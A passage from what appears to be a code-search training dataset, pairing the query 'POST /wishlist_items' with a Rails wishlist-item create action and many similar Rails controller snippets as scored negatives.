"0.60151494",
"0.60151494",
"0.60151494",
"0.60151494",
"0.6012816",
"0.5999037",
"0.5973029",
"0.59688556",
"0.59675676",
"0.5965427",
"0.59647095",
"0.5962247",
"0.594569",
"0.59449536",
"0.5939124",
"0.5931747",
"0.5926511",
"0.5920858",
"0.59207183",
"0.5919988",
"0.59096545",
"0.5890688",
"0.5879955",
"0.5872765",
"0.5869603",
"0.58632475",
"0.5859745",
"0.58586824",
"0.58550674",
"0.5848385",
"0.5845965",
"0.58416456",
"0.58416456",
"0.58411855",
"0.58379066",
"0.5834616",
"0.58253914",
"0.5824712",
"0.5819165",
"0.5819165",
"0.5816599",
"0.58146966",
"0.58127284",
"0.581093",
"0.5808423",
"0.5800408",
"0.5797456",
"0.5794724",
"0.57920355",
"0.5786883",
"0.577694"
] | 0.7829301 | 1 |
GET /wishlist_items/new GET /wishlist_items/new.xml | def new
@wishlist_item = WishlistItem.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @wishlist_item }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
"def new\n @wish_list = WishList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list }\n end\n end",
"def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish_list_item }\n end\n end",
"def new\n @wishlistitem = Wishlistitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlistitem }\n end\n end",
"def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def create\n @wish_list_item = WishListItem.new(params[:wish_list_item])\n\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to(@wish_list_item, :notice => 'Wish list item was successfully created.') }\n format.xml { render :xml => @wish_list_item, :status => :created, :location => @wish_list_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wish_list_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @item = Item.factory('local')\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\r\n @item = Item.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @item }\r\n end\r\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n format.xml { render xml: @item }\n end\n end",
"def new\n @favourites = Favourites.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @favourites }\n end\n end",
"def new\n @title = \"New item\"\n @item = ItemTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @wish = Wish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish }\n end\n end",
"def new\n @item = BudgetItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @clone_item_request = CloneItemRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @clone_item_request }\n end\n end",
"def new\n @favorite = Favorite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @favorite }\n end\n end",
"def new\n @receiving_item = ReceivingItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @receiving_item }\n end\n end",
"def new\n @favourite = Favourite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @favourite }\n end\n end",
"def new\n @auction_item = AuctionItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @auction_item }\n end\n end",
"def new\n @action_item = ActionItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @action_item }\n end\n end",
"def new\n @mylist = Mylist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mylist }\n end\n end",
"def new\n @shop_item = ShopItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shop_item }\n end\n end",
"def create\n @wish_list_item = WishListItem.new(params[:wish_list_item])\n\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully created.' }\n format.json { render json: @wish_list_item, status: :created, location: @wish_list_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wishlist = Wishlist.find(session[:wishlist_id])\n params[:item].delete :container\n item = Item.find_by(url: params[:item][:url])\n if !item\n item = Item.new(item_params)\n item.container_type = 'Store'\n item.container_id = @wishlist.store.id\n end\n @item = item\n\n item2 = Item.new(item_params)\n item2.container_type = 'Wishlist'\n item2.container_id = @wishlist.id\n @item2 = item2\n\n respond_to do |format|\n if @item.save && @item2.save\n @wishlist.items << @item2\n @wishlist.save\n format.html { redirect_to edit_wishlist_url(@wishlist), notice: 'Item was successfully added to wishlist.' }\n #format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @shops_favorite = ShopsFavorite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shops_favorite }\n end\n end",
"def new\n @billitem = Billitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @billitem }\n end\n end",
"def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item}\n end\n end",
"def new\n @thing_list = ThingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing_list }\n end\n end",
"def create\n @wishlistitem = Wishlistitem.new(params[:wishlistitem])\n\n respond_to do |format|\n if @wishlistitem.save\n format.html { redirect_to @wishlistitem, notice: 'Wishlistitem was successfully created.' }\n format.json { render json: @wishlistitem, status: :created, location: @wishlistitem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wishlistitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @to_do_item = ToDoItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @to_do_item }\n end\n end",
"def new\n @shopping_list = ShoppingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shopping_list }\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to \"/new/\" + Base58.encode(@item.id) }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @wishlist_item = WishlistItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wishlist_item }\n end\n end",
"def new\n @bowl = Bowl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bowl }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n @miscellaneous_item = MiscellaneousItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @miscellaneous_item }\n end\n end",
"def new\n @goods_item = Goods::Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goods_item }\n end\n end",
"def new\n @item = Item.new(:list_id => params[:list_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @item }\n end\n end",
"def new\n @movie_list_item = MovieListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie_list_item }\n end\n end",
"def new\n @item_type = ItemType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_type }\n end\n end",
"def new\n @news_item = NewsItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_item }\n end\n end",
"def new\n @news_item = NewsItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_item }\n end\n end",
"def create\n @wishlist = Wishlist.new(params[:wishlist])\n\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully created.' }\n format.json { render json: @wishlist, status: :created, location: @wishlist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @wishlist_items = WishlistItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wishlist_items }\n end\n end",
"def new\n @question_item = QuestionItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_item }\n end\n end",
"def new\n @ordered_item = OrderedItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ordered_item }\n format.json { render :json => @ordered_item }\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |wants|\n if @item.save\n flash[:notice] = 'Item was successfully created.'\n wants.html { redirect_to(admin_items_url) }\n wants.xml { render :xml => @item, :status => :created, :location => @item }\n else\n wants.html { render :action => \"new\" }\n wants.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def new\n @list = List.find(params[:list_id])\n @item = @list.items.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def create\n @wishlist = current_wishlist\n product = Product.find(params[:product_id])\n @wishlist_item = @wishlist.wishlist_items.build(:product => product)\n\n respond_to do |format|\n if @wishlist_item.save\n format.html { redirect_to(@wishlist, :notice => 'Wishlist item was successfully created.') }\n format.xml { render :xml => @wishlist_item, :status => :created, :location => @wishlist_item }\n else\n format.html { redirect_to(store_url, :notice => 'Item already added to wishlist') }\n format.xml { render :xml => @wishlist_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @stock_item = StockItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stock_item }\n end\n end",
"def new\n @instancia_item = InstanciaItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instancia_item }\n end\n end",
"def new\n @league_item = LeagueItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @league_item }\n end\n end",
"def new\n @shelf = Shelf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shelf }\n end\n end",
"def new\n @feedback_item = FeedbackItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feedback_item }\n end\n end",
"def new\n @shopping = Shopping.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shopping }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def create\n @wish_list = WishList.new(params[:wish_list])\n\n respond_to do |format|\n if @wish_list.save\n flash[:notice] = 'WishList was successfully created.'\n format.html { redirect_to(admin_wish_lists_path) }\n format.xml { render :xml => @wish_list, :status => :created, :location => @wish_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wish_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\r\n @lineitem = Lineitem.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @lineitem }\r\n end\r\n end",
"def show\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
"def new\n @old_twit = OldTwit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_twit }\n end\n end",
"def new\n @cart_item = CartItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cart_item }\n end\n end",
"def new\n @cart_item = CartItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cart_item }\n end\n end",
"def new\r\n @item_type = ItemType.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @item_type }\r\n end\r\n end",
"def new\n @basket_item = BasketItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @basket_item }\n end\n end",
"def new\n @liked_item = LikedItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @liked_item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def create\n @wishlist = Wishlist.new(wishlist_params)\n\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully created.' }\n format.json { render :show, status: :created, location: @wishlist }\n else\n format.html { render :new }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @item_option = ItemOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_option }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @item }\n end\n end",
"def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @item }\n end\n end"
] | [
"0.80365664",
"0.7672576",
"0.75745106",
"0.75463885",
"0.72669226",
"0.72669226",
"0.71113026",
"0.71113026",
"0.71113026",
"0.71113026",
"0.71113026",
"0.71113026",
"0.71113026",
"0.71113026",
"0.7104713",
"0.7048624",
"0.70458513",
"0.6994171",
"0.69870645",
"0.698051",
"0.69617605",
"0.69043726",
"0.6903325",
"0.6878056",
"0.68719935",
"0.6858777",
"0.68247515",
"0.6780134",
"0.6774266",
"0.6768752",
"0.6767226",
"0.6743727",
"0.67318326",
"0.671299",
"0.6709193",
"0.6708401",
"0.6708055",
"0.6704967",
"0.6703247",
"0.67003804",
"0.66932064",
"0.6662723",
"0.6660988",
"0.66550094",
"0.6642464",
"0.66377467",
"0.6632053",
"0.6627831",
"0.66245157",
"0.66245157",
"0.6620344",
"0.6606338",
"0.660487",
"0.6599212",
"0.6588606",
"0.65801764",
"0.65753436",
"0.6564941",
"0.6559316",
"0.65449643",
"0.65381294",
"0.6530315",
"0.65283877",
"0.65227455",
"0.6521788",
"0.65183985",
"0.6516581",
"0.6516581",
"0.65083754",
"0.6500324",
"0.6498506",
"0.6497116",
"0.6497116",
"0.6496004",
"0.6495151",
"0.64897776",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.6484964",
"0.64765877",
"0.6474264",
"0.64689654",
"0.64689654"
] | 0.8076632 | 0 |
POST /wishlist_items POST /wishlist_items.xml | def create
@wishlist = current_wishlist
product = Product.find(params[:product_id])
@wishlist_item = @wishlist.wishlist_items.build(:product => product)
respond_to do |format|
if @wishlist_item.save
format.html { redirect_to(@wishlist, :notice => 'Wishlist item was successfully created.') }
format.xml { render :xml => @wishlist_item, :status => :created, :location => @wishlist_item }
else
format.html { redirect_to(store_url, :notice => 'Item already added to wishlist') }
format.xml { render :xml => @wishlist_item.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @wish_list_item = WishListItem.new(params[:wish_list_item])\n\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to(@wish_list_item, :notice => 'Wish list item was successfully created.') }\n format.xml { render :xml => @wish_list_item, :status => :created, :location => @wish_list_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wish_list_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @wishlist = Wishlist.find(session[:wishlist_id])\n params[:item].delete :container\n item = Item.find_by(url: params[:item][:url])\n if !item\n item = Item.new(item_params)\n item.container_type = 'Store'\n item.container_id = @wishlist.store.id\n end\n @item = item\n\n item2 = Item.new(item_params)\n item2.container_type = 'Wishlist'\n item2.container_id = @wishlist.id\n @item2 = item2\n\n respond_to do |format|\n if @item.save && @item2.save\n @wishlist.items << @item2\n @wishlist.save\n format.html { redirect_to edit_wishlist_url(@wishlist), notice: 'Item was successfully added to wishlist.' }\n #format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def wishlist_item_params\n params.require(:wishlistitem).permit(:id, :user_id, :item_id)\n end",
"def wishlist_item_params\n params.require(:wishlist_item).permit(:wishlist_id, :item_id)\n end",
"def create\n @wish_list_item = WishListItem.new(params[:wish_list_item])\n\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully created.' }\n format.json { render json: @wish_list_item, status: :created, location: @wish_list_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wishlistitem = Wishlistitem.new(params[:wishlistitem])\n\n respond_to do |format|\n if @wishlistitem.save\n format.html { redirect_to @wishlistitem, notice: 'Wishlistitem was successfully created.' }\n format.json { render json: @wishlistitem, status: :created, location: @wishlistitem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wishlistitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # user_id: current_user[:id], item_description: params[:item_description], item_link: params[:item_link], item_rank: params[:item_rank], item_image: params[:item_image], item_price: params[:item_price]\n \t@wish = Wish.new(wish_params)\n @wish.user = current_user\n \[email protected]\n\n wishList = Wish.where(\"user_id = #{@wish.user_id}\")\n render json: wishList\n\n end",
"def wish_list_item_params\n params.require(:wish_list_item).permit(:wishlist_id, :product_id)\n end",
"def new\n @wishlist_item = WishlistItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wishlist_item }\n end\n end",
"def create\n @wishlist = Wishlist.find_by(:user_id => current_user.id)\n @wishlist_items = Wishitem.new(:wishlist_id => @wishlist.id, :product_id => params[:prod_id])\n @wishlist_items.save\n if @wishlist_items.save\n redirect_to \"/products?page=#{params[:page]}\"\n end\n end",
"def create\n @wishlist = Wishlist.new(name: params[:wishlist][:name],\n user_id: current_user.email,\n shared: params[:wishlist][:shared])\n current_user.wishlists << @wishlist\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully created.' }\n format.json { render :index, status: :created, location: @wishlist }\n else\n format.html { render :new }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n city_id = params[:city_id] || params[:wish_item][:city_id]\n params[:wish_item].delete(:city_id) if params[:wish_item][:city_id].present?\n\n # Used by html call\n if params[:original_wish_item_id].present?\n original_wish_item = WishItem.find(params[:original_wish_item_id])\n end\n\n # Used by javascript call\n if params[:vouch_item_id].present?\n tags = []\n vouch_item = VouchItem.find(params[:vouch_item_id])\n vouch_item.tags.each do |tag|\n tags.push(tag.name)\n end\n end\n\n wish_list = WishList.find_or_create_by_user_id_and_city_id(current_user.id, city_id)\n wish_item = wish_list.wish_items.build(params[:wish_item])\n puts \"add item for business #{wish_item.business_id}\"\n\n if wish_item.save\n respond_to do |format|\n # Add taggings from original wish item to new wish item\n if original_wish_item.present?\n original_wish_item.wish_taggings.each do |tagging|\n add_tagging_with_params(id: wish_item.id, name: tagging.tag.name)\n end\n end\n\n format.html {\n flash[:notice] = \"The item has been successfully added to your wish list!\"\n redirect_to wish_lists_path\n }\n format.json {\n render json:\n {\n success: true,\n wish_item_id: wish_item.id,\n tags: tags\n }\n }\n end\n else\n respond_to do |format|\n format.html {\n flash[:alert] = wish_item.errors.full_messages\n redirect_to wish_lists_path\n }\n format.json {\n render json:\n {\n status: 422,\n errors: wish_item.errors.full_messages.join(\",\")\n }\n }\n end\n end\n end",
"def wishlist_item_params\n params.require(:wishlist_item).permit(:quantity, :priority, :staff_message)\n end",
"def index\n @wishlist_items = WishlistItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wishlist_items }\n end\n end",
"def wishlist_params\n params.require(:wishlist_item).permit(:title)\n end",
"def wish_list_params\n params.require(:wish_list).permit(:title, :item_count, :delivery_date, wish_items_attributes: [:id, :name, :color, :height, :weight, :link, :description, :price, :wish_list_id])\n end",
"def create\n @wish_list = current_user.wish_list\n product = Product.find(params[:product_id])\n @wish_list_item = @wish_list.add_product(product.id, @wish_list)\n\n if @wish_list_item.present?\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to(@wish_list,\n :notice => 'Wish list item was successfully created.') }\n format.json { render :show, status: :created, location: @wish_list_item }\n else\n format.html { render :new }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to wish_list_path(@wish_list)\n end\n end",
"def set_wishlist_item\n @wishlistitem = Wishlistitem.find(params[:id])\n end",
"def create\n @wishlist = Wishlist.new(params[:wishlist])\n\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully created.' }\n format.json { render json: @wishlist, status: :created, location: @wishlist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wishlist = Wishlist.new(wishlist_params)\n\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully created.' }\n format.json { render :show, status: :created, location: @wishlist }\n else\n format.html { render :new }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wishlist = current_user.wishlists.build(params[:wishlist])\n\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully created.' }\n format.json { redirect_to wishlists_url }\n else\n format.html { render action: \"new\", error: @wishlist.errors }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_wishlist_item\n @wishlist_item = WishlistItem.find(params[:id])\n end",
"def wishlist_params\n params.require(:wishlist).permit(:itemname, :comment, :itemcost, :quantity, :amount, :status, :storename, :category)\n end",
"def create\n authorize! :create, WishlistItem.new\n\n @spree_variant=Spree::Variant.find(params[:wishlist_item][:spree_variant_id])\n @product=current_site.contents.find_by({:spree_product_id=>@spree_variant.product_id, _type: \"Product\"})\n @wishlist_item = spree_current_user.wishlist_items.build(:spree_variant_id=>@spree_variant.id)\n\n respond_to do |format|\n if @wishlist_item.save\n format.html { render action: \"show\", notice: 'Wishlist item was successfully created.' }\n format.json { render json: @wishlist_item, status: :created, location: @wishlist_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wishlist_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
"def create\n @wishlist = Wishlist.new(params[:wishlist])\n\n\tif @wishlist.save\n \t\tparams[:product_id].each do |product|\n \t\t\[email protected] << Product.find(product)\n \t\n \tend\n \tredirect_to :action => \"show\", :id => @wishlist#.client.id\n else\n \trender action: \"new\"\n end\n \n end",
"def create\n @wish_list = WishList.new(\n product_id: params[:product_id],\n user_id: params[:user_id]\n )\n respond_to do |format|\n if @wish_list.save\n format.html { redirect_to controller: \"account\", action: \"wishlist\" }\n format.json { render :show, status: :created, location: @wish_list }\n else\n format.html { render :new }\n format.json { render json: @wish_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wishlist = current_user.wishlists.build(wishlist_params)\n\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully created.' }\n format.json { render :show, status: :created, location: @wishlist }\n else\n format.html { render :new }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n item = list.items.create!(item_params)\n render json: item, status: 201\n end",
"def add_to_wishlist\n if params[:id]\n if item = Item.find_by_id(params[:id])\n @customer.add_item_to_wishlist(item)\n else\n flash[:notice] = \"Sorry, we couldn't find the item that you wanted to add to your wishlist. Please try again.\" \n end\n else\n flash[:notice] = \"You didn't specify an item to add to your wishlist...\"\n end\n redirect_to :action => 'wishlist' and return\n end",
"def create\n @wish_list = WishList.new(params[:wish_list])\n\n respond_to do |format|\n if @wish_list.save\n flash[:notice] = 'WishList was successfully created.'\n format.html { redirect_to(admin_wish_lists_path) }\n format.xml { render :xml => @wish_list, :status => :created, :location => @wish_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wish_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @wanted_item = WantedItem.new(wanted_item_params)\n\n respond_to do |format|\n if @wanted_item.save\n format.html { redirect_to @wanted_item, notice: 'Wanted item was successfully created.' }\n format.json { render :show, status: :created, location: @wanted_item }\n else\n format.html { render :new }\n format.json { render json: @wanted_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to(items_path) }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { redirect_to(items_path)}\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @wishlist_item = WishlistItem.find(params[:id])\n\n respond_to do |format|\n if @wishlist_item.update_attributes(params[:wishlist_item])\n format.html { redirect_to(@wishlist_item, :notice => 'Wishlist item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wishlist_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def wishlist_params\n params.require(:wishlist).permit(:product_id, :user_id)\n end",
"def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish_list_item }\n end\n end",
"def wishlist_params\n params.require(:wishlist).permit(:name, :user_id, :shared)\n end",
